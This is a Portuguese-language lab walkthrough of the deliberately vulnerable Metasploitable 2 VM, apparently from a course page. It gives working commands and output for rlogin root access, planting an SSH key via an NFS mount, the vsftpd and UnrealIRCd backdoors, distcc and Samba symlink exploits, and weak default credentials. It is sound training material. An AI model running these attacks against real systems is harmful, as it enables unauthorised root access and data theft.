Metasploitable 2 Exploitability Guide – pt-br

A máquina virtual Metasploitable é uma versão intencionalmente vulnerável do Ubuntu Linux projetada para testar ferramentas de segurança e demonstrar vulnerabilidades comuns. A versão 2 desta máquina virtual está disponível para download e é enviada com ainda mais vulnerabilidades do que a imagem original. Esta máquina virtual é compatível com VMWare, VirtualBox e outras plataformas de virtualização comuns. Por padrão, as interfaces de rede do Metasploitable estão vinculadas aos adaptadores de rede NAT e Host-only, e a imagem nunca deve ser exposta a uma rede hostil.

Descrição

Primeiramente faça o download da maquina virtual e rode em seu VM Ware ou VirtualBox!

 

Link de download:https://information.rapid7.com/metasploitable-download.html

A máquina virtual Metasploitable é uma versão intencionalmente vulnerável do Ubuntu Linux projetada para testar ferramentas de segurança e demonstrar vulnerabilidades comuns. A versão 2 desta máquina virtual está disponível para download e é enviada com ainda mais vulnerabilidades do que a imagem original. Esta máquina virtual é compatível com VMWare, VirtualBox e outras plataformas de virtualização comuns. Por padrão, as interfaces de rede do Metasploitable estão vinculadas aos adaptadores de rede NAT e Host-only, e a imagem nunca deve ser exposta a uma rede hostil.

Este documento descreve muitas das falhas de segurança na imagem do Metasploitable 2. Atualmente está faltando documentação sobre falhas no servidor Web e no aplicativo da Web, bem como vulnerabilidades que permitem que um usuário local migre para privilégios de root. Este documento continuará a se expandir ao longo do tempo, já que muitas das falhas menos óbvias dessa plataforma são detalhadas.

VAMOS COMEÇAR

Após a inicialização da máquina virtual, efetue login no console com nome de usuário msfadmin e senha msfadmin. No shell, execute o comando ifconfig para identificar o endereço IP.

msfadmin@metasploitable:~$ ifconfig

eth0      Link encap:Ethernet  HWaddr 00:0c:29:9a:52:c1 
          inet addr:192.168.99.131  Bcast:192.168.99.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
SERVIÇOS:
Do nosso sistema de ataque (Linux, de preferência algo como o Kali Linux), identificaremos os serviços de rede aberta nesta máquina virtual usando o Nmap Security Scanner. A seguinte linha de comando varrerá todas as portas TCP na instância Metasploitable 2:
root@ubuntu:~# nmap -p0-65535 192.168.99.131

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT
Nmap scan report for 192.168.99.131
Host is up (0.00028s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
39292/tcp open  unknown
43729/tcp open  unknown
44813/tcp open  unknown
55852/tcp open  unknown
MAC Address: 00:0C:29:9A:52:C1 (VMware)

Quase todos esses serviços de escuta fornecem um ponto de entrada remoto no sistema. Na próxima seção, vamos percorrer alguns desses vetores.
Noções básicas sobre Unix

As portas TCP 512, 513 e 514 são conhecidas como serviços “r” e foram configuradas incorretamente para permitir o acesso remoto de qualquer host (uma situação padrão “.rhosts + +”). Para aproveitar isso, verifique se o cliente “rsh-client” está instalado (no Ubuntu) e execute o seguinte comando como seu usuário root local. Se você for solicitado por uma chave SSH, isso significa que as ferramentas do rsh-client não foram instaladas e o Ubuntu está usando o padrão SSH.

# rlogin -l root 192.168.99.131
Last login: Fri Jun  1 00:10:39 EDT 2012 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~# Isso é tão fácil quanto parece. O próximo serviço que devemos observar é o Network File System (NFS). O NFS pode ser identificado pela porta de sondagem 2049 diretamente ou solicitando ao portmapper uma lista de serviços. O exemplo abaixo usando rpcinfo para identificar o NFS e showmount -e para determinar se o compartilhamento "/" (a raiz do sistema de arquivos) está sendo exportado. Você precisará dos pacotes rpcbind e nfs-common do Ubuntu para seguir adiante.
root@ubuntu:~# rpcinfo -p 192.168.99.131
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  53318  status
    100024    1   tcp  43729  status
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100021    1   udp  46696  nlockmgr
    100021    3   udp  46696  nlockmgr
    100021    4   udp  46696  nlockmgr
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100021    1   tcp  55852  nlockmgr
    100021    3   tcp  55852  nlockmgr
    100021    4   tcp  55852  nlockmgr
    100005    1   udp  34887  mountd
    100005    1   tcp  39292  mountd
    100005    2   udp  34887  mountd
    100005    2   tcp  39292  mountd
    100005    3   udp  34887  mountd
    100005    3   tcp  39292  mountd

root@ubuntu:~# showmount -e 192.168.99.131
Export list for 192.168.99.131:
/ *
 Ter acesso a um sistema com um sistema de arquivos gravável como esse é trivial. Para fazer isso (e porque o SSH está em execução), geraremos uma nova chave SSH em nosso sistema atacante, montaremos a exportação NFS e adicionaremos nossa chave ao arquivo authorized_keys da conta de usuário raiz:
root@ubuntu:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh root@192.168.99.131
Last login: Fri Jun  1 00:29:33 2012 from 192.168.99.128
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

root@metasploitable:~#
 BACKDOORS: Na porta 21, o Metasploitable2 executa o vsftpd, um servidor FTP popular. Esta versão específica contém um backdoor que foi inserido no código-fonte por um intruso desconhecido. O backdoor foi rapidamente identificado e removido, mas não antes de algumas pessoas baixarem o arquivo. Se um nome de usuário for enviado e terminar na sequência :) [um rosto feliz], a versão backdoored abrirá um shell de escuta na porta 6200. Podemos demonstrar isso com o telnet ou usar o módulo Metasploit Framework para explorá-lo automaticamente:
root@ubuntu:~# telnet 192.168.99.131 21
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]
telnet> quit
Connection closed.

root@ubuntu:~# telnet 192.168.99.131 6200
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) Na porta 6667, o Metasploitable2 executa o daemon IRrea UnreaIRCD. Esta versão contém um backdoor que passou despercebido durante meses - acionado enviando as letras "AB" seguindo um comando do sistema para o servidor em qualquer porta de escuta. Metasploit tem um módulo para explorar isso, a fim de ganhar um shell interativo, como mostrado abaixo.
msfconsole

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf  exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.99.131
msf  exploit(unreal_ircd_3281_backdoor) > exploit

[*] Started reverse double handler
[*] Connected to 192.168.99.131:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8bMUYsfmGvOLHBxe;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8bMUYsfmGvOLHBxe\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700


id
uid=0(root) gid=0(root)
 Muito menos sutil é o antigo backdoor "ingreslock" de espera que está escutando na porta 1524. A porta ingreslock foi uma escolha popular há uma década para adicionar um backdoor a um servidor comprometido. Acessar é fácil:
root@ubuntu:~# telnet 192.168.99.131 1524
Trying 192.168.99.131...
Connected to 192.168.99.131.
Escape character is '^]'.
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root) BACKDOORS NÃO INTENCIONAIS: Além dos backdoors maliciosos na seção anterior, alguns serviços são quase backdoors por sua própria natureza. O primeiro dos quais instalado no Metasploitable2 é distccd. Esse programa facilita escalar grandes tarefas do compilador em um farm de sistemas configurados como. O problema com este serviço é que um atacante pode facilmente abusar dele para executar um comando de sua escolha, conforme demonstrado pelo uso do módulo Metasploit abaixo.
msfconsole

msf > use exploit/unix/misc/distcc_exec
msf  exploit(distcc_exec) > set RHOST 192.168.99.131
msf  exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo uk3UdiwLUq0LX3Bi;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "uk3UdiwLUq0LX3Bi\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700

id
uid=1(daemon) gid=1(daemon) groups=1(daemon) O Samba, quando configurado com um compartilhamento de arquivos gravável e "links largos" habilitados (o padrão é ativado), também pode ser usado como um backdoor de tipos para acessar arquivos que não deveriam ser compartilhados. O exemplo abaixo usa um módulo Metasploit para fornecer acesso ao sistema de arquivos raiz usando uma conexão anônima e um compartilhamento gravável.
root@ubuntu:~# smbclient -L //192.168.99.131
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        tmp             Disk      oh noes!
        opt             Disk     
        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

root@ubuntu:~# msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal
msf  auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131
msf  auxiliary(samba_symlink_traversal) > set SMBSHARE tmp
msf  auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...
[*] Trying to mount writeable share 'tmp'...
[*] Trying to link 'rootfs' to the root filesystem...
[*] Now access the following share to browse the root filesystem:
[*]     \\192.168.99.131\tmp\rootfs\

msf  auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //192.168.99.131/tmp
Anonymous login successful
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd
getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
[..]
 SENHAS FÁCEIS: Além dos backdoors e erros de configuração mais flagrantes, o Metasploitable 2 possui péssima segurança de senha tanto para as contas do sistema quanto do banco de dados. O usuário administrativo primário msfadmin possui uma senha correspondente ao nome de usuário. Descobrindo a lista de usuários neste sistema, usando outra falha para capturar o arquivo passwd ou enumerando esses IDs de usuário via Samba, um ataque de força bruta pode ser usado para acessar rapidamente várias contas de usuário. No mínimo, as seguintes contas fracas do sistema são configuradas no sistema.
Account Name Password

msfadmin  msfadmin

user  user

postgres  postgres

sys batman

klog 123456789

service service

Além dessas contas no nível do sistema, o serviço PostgreSQL pode ser acessado com nome de usuário postgres e postgres de senha, enquanto o serviço MySQL é aberto para o nome de usuário root com uma senha vazia. O serviço VNC fornece acesso à área de trabalho remota usando a senha da senha.
Serviços Web Vulneráveis

O Metasploitable 2 possui aplicativos da Web deliberadamente vulneráveis pré-instalados. O servidor da web é iniciado automaticamente quando o Metasploitable 2 é inicializado. Para acessar os aplicativos da web, abra um navegador da Web e insira a URL http: // <IP> em que <IP> é o endereço IP do Metasploitable 2. Uma maneira de conseguir isso é instalar o Metasploitable 2 como um sistema operacional convidado no Virtual Caixa e alterar as configurações da interface de rede de “NAT” para “Host Only”. (Nota: Um tutorial em vídeo sobre a instalação do Metasploitable 2 está disponível aqui.)

Neste exemplo, o Metasploitable 2 está sendo executado no IP 192.168.56.101. Navegar para http://192.168.56.101/ mostra a home page do aplicativo da web.

 

192.168.56 / 24 é a rede padrão “somente host” do Virtual Box. Endereço IP são atribuídos a partir de “101”. Dependendo da ordem em que os sistemas operacionais convidados são iniciados, o endereço IP do Metasploitable 2 irá variar.

Para acessar um aplicativo da Web específico, clique em um dos links fornecidos. Aplicativos da Web individuais podem ser acessados ​​anexando o nome do diretório de aplicativos em http: // <IP> para criar URL http: // <IP> / <Application Folder> /. Por exemplo, o aplicativo Mutillidae pode ser acessado (neste exemplo) no endereço http://192.168.56.101/mutillidae/. Os aplicativos são instalados no Metasploitable 2 no diretório / var / www. (Nota: Veja uma lista com o comando ls / var / www.) Na versão atual, neste momento, as aplicações são

mutillidae (NOWASP Mutillidae 2.1.19)
dvwa (maldito aplicativo da web vulnerável)
phpMyAdmin
tikiwiki (TWiki)
tikiwiki-old
dav (WebDav)

Mutillidae

O aplicativo da Web Mutillidae (NOWASP (Mutillidae)) contém todas as vulnerabilidades do OWASP Top Ten, além de várias outras vulnerabilidades, como armazenamento na Web HTML-5, cache de formulários e click-jacking. Inspirado pelo DVWA, o Mutillidae permite ao usuário mudar o “Nível de Segurança” de 0 (completamente inseguro) para 5 (seguro). Além disso, três níveis de dicas são fornecidos desde “Nível 0 – eu tento mais” (sem dicas) até “Nível 2 – noob” (Máximo de dicas). Se o aplicativo for danificado por injeções do usuário e hacks, clicar no botão “Redefinir DB” redefine o aplicativo para seu estado original.

Ativar dicas no aplicativo, clique no botão “Alternar Dicas” na barra de menu:

O aplicativo Mutillidae contém pelo menos as seguintes vulnerabilidades nestas respectivas páginas:

Page   add-to-your-blog.php

SQL Injection on blog entry
SQL Injection on logged in user name
Cross site scripting on blog entry
Cross site scripting on logged in user name
Log injection on logged in user name
CSRF
JavaScript validation bypass
XSS in the form title via logged in username
The show-hints cookie can be changed by user to enable hints even though they are not supposed to show in secure mode

Page  arbitrary-file-inclusion.php

System file compromise
Load any page from any site

Page  browser-info.php

XSS via referer HTTP header
JS Injection via referer HTTP header
XSS via user-agent string HTTP header

Page  capture-data.php

XSS via any GET, POST, or Cookie

Page   captured-data.php

XSS via any GET, POST, or Cookie

config.inc*

Contains unencrytped database credentials

Page   credits.php

Unvalidated Redirects and Forwards

Page   dns-lookup.php

Cross site scripting on the host/ip field
O/S Command injection on the host/ip field
This page writes to the log. SQLi and XSS on the log are possible
GET for POST is possible because only reading POSTed variables is not enforced.

Page   footer.php*

Cross site scripting via the HTTP_USER_AGENT HTTP header.

Page   framing.php

Click-jacking

header.php*

XSS via logged in user name and signature
The Setup/reset the DB menu item can be enabled by setting the uid value of the cookie to 1

Page   html5-storage.php

DOM injection on the add-key error message because the key entered is output into the error message without being encoded

Page   index.php*

You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value.
You can SQL injection the UID cookie value because it is used to do a lookup
You can change your rank to admin by altering the UID value
HTTP Response Splitting via the logged in user name because it is used to create an HTTP Header
This page is responsible for cache-control but fails to do so
This page allows the X-Powered-By HTTP header
HTML comments
There are secret pages that if browsed to will redirect user to the phpinfo.php page. This can be done via brute forcing

Page   log-visit.php

SQL injection and XSS via referer HTTP header
SQL injection and XSS via user-agent string

Page   login.php

Authentication bypass SQL injection via the username field and password field
SQL injection via the username field and password field
XSS via username field
JavaScript validation bypass

Page   password-generator.php

JavaScript injection

pen-test-tool-lookup.php

JSON injection

Page   phpinfo.php

This page gives away the PHP server configuration
Application path disclosure
Platform path disclosure

Page   process-commands.php

Creates cookies but does not make them HTML only

Page   process-login-attempt.php

Same as login.php. This is the action page.

Page   redirectandlog.php

Same as credits.php. This is the action page

Page   register.php

SQL injection and XSS via the username, signature and password field

rene-magritte.php

Click-jacking

Page   robots.txt

Contains directories that are supposed to be private

secret-administrative-pages.php

This page gives hints about how to discover the server configuration

set-background-color.php

Cascading style sheet injection and XSS via the color field

Page   show-log.php

Denial of Service if you fill up the log
XSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields

Page   site-footer-xss-discusson.php

XSS via the user agent string HTTP header

Page   source-viewer.php

Loading of any arbitrary file including operating system files.

Page   text-file-viewer.php

Loading of any arbitrary web page on the Interet or locally including the sites password files.
Phishing

Page   user-info.php

SQL injection to dump all usernames and passwords via the username field or the password field
XSS via any of the displayed fields. Inject the XSS on the register.php page.
XSS via the username field

Page   user-poll.php

Parameter pollution
GET for POST
XSS via the choice parameter
Cross site request forgery to force user choice

Page   view-someones-blog.php

XSS via any of the displayed fields. They are input on the add to your blog page.

 

DVWA

Da página inicial do DVWA: “A maldita vulnerável Web App (DVWA) é um aplicativo da Web PHP / MySQL que é extremamente vulnerável. Seus principais objetivos são ajudar os profissionais de segurança a testar suas habilidades e ferramentas em um ambiente legal, Os desenvolvedores entendem melhor os processos de proteção de aplicativos da Web e ajudam os professores / alunos a ensinar / aprender a segurança de aplicativos da Web em um ambiente de sala de aula. ”

O DVWA contém instruções na home page e informações adicionais estão disponíveis nas Páginas do Wiki – Damn Vulnerable Web App.

Nome de usuário padrão – admin
Senha padrão – senha

Divulgação de informação

Além disso, uma página de divulgação de informações do PHP mal aconselhada pode ser encontrada em http: // <IP> /phpinfo.php. Neste exemplo, o URL seria http://192.168.56.101/phpinfo.php. A vulnerabilidade de divulgação de informações info do PHP fornece informações internas do sistema e informações de versão do serviço que podem ser usadas para procurar vulnerabilidades. Por exemplo, observando que a versão do PHP divulgada na captura de tela é a versão 5.2.4, pode ser possível que o sistema seja vulnerável a CVE-2012-1823 e CVE-2012-2311 que afetaram o PHP antes de 5.3.12 e 5.4. x antes de 5.4.2.

Faça o download da maquina virtual  Metasploitable 2 here.
Faça o download da maquina virtual  Metasploitable 2 here.
Faça o download da maquina virtual  Metasploitable 2 here.
Faça o download da maquina virtual  Metasploitable 2 here.
Faça o download da maquina virtual  Metasploitable 2 here.
Faça o download da maquina virtual  Metasploitable 2 here.
Faça o download da maquina virtual  Metasploitable 2 here.
Faça o download da maquina virtual  Metasploitable 2 here.
Faça o download da maquina virtual  Metasploitable 2 here.
Faça o download da maquina virtual  Metasploitable 2 here.
Faça o download da maquina virtual  Metasploitable 2 here.

Detalhes do Curso

  • Leituras 0
  • Quizzes 0
  • Duração 50 horas
  • Nível de Habilidade Todos os níveis
  • Linguagem Inglês
  • Alunos 2
  • Critérios de avaliação Sim
Lista de Desejos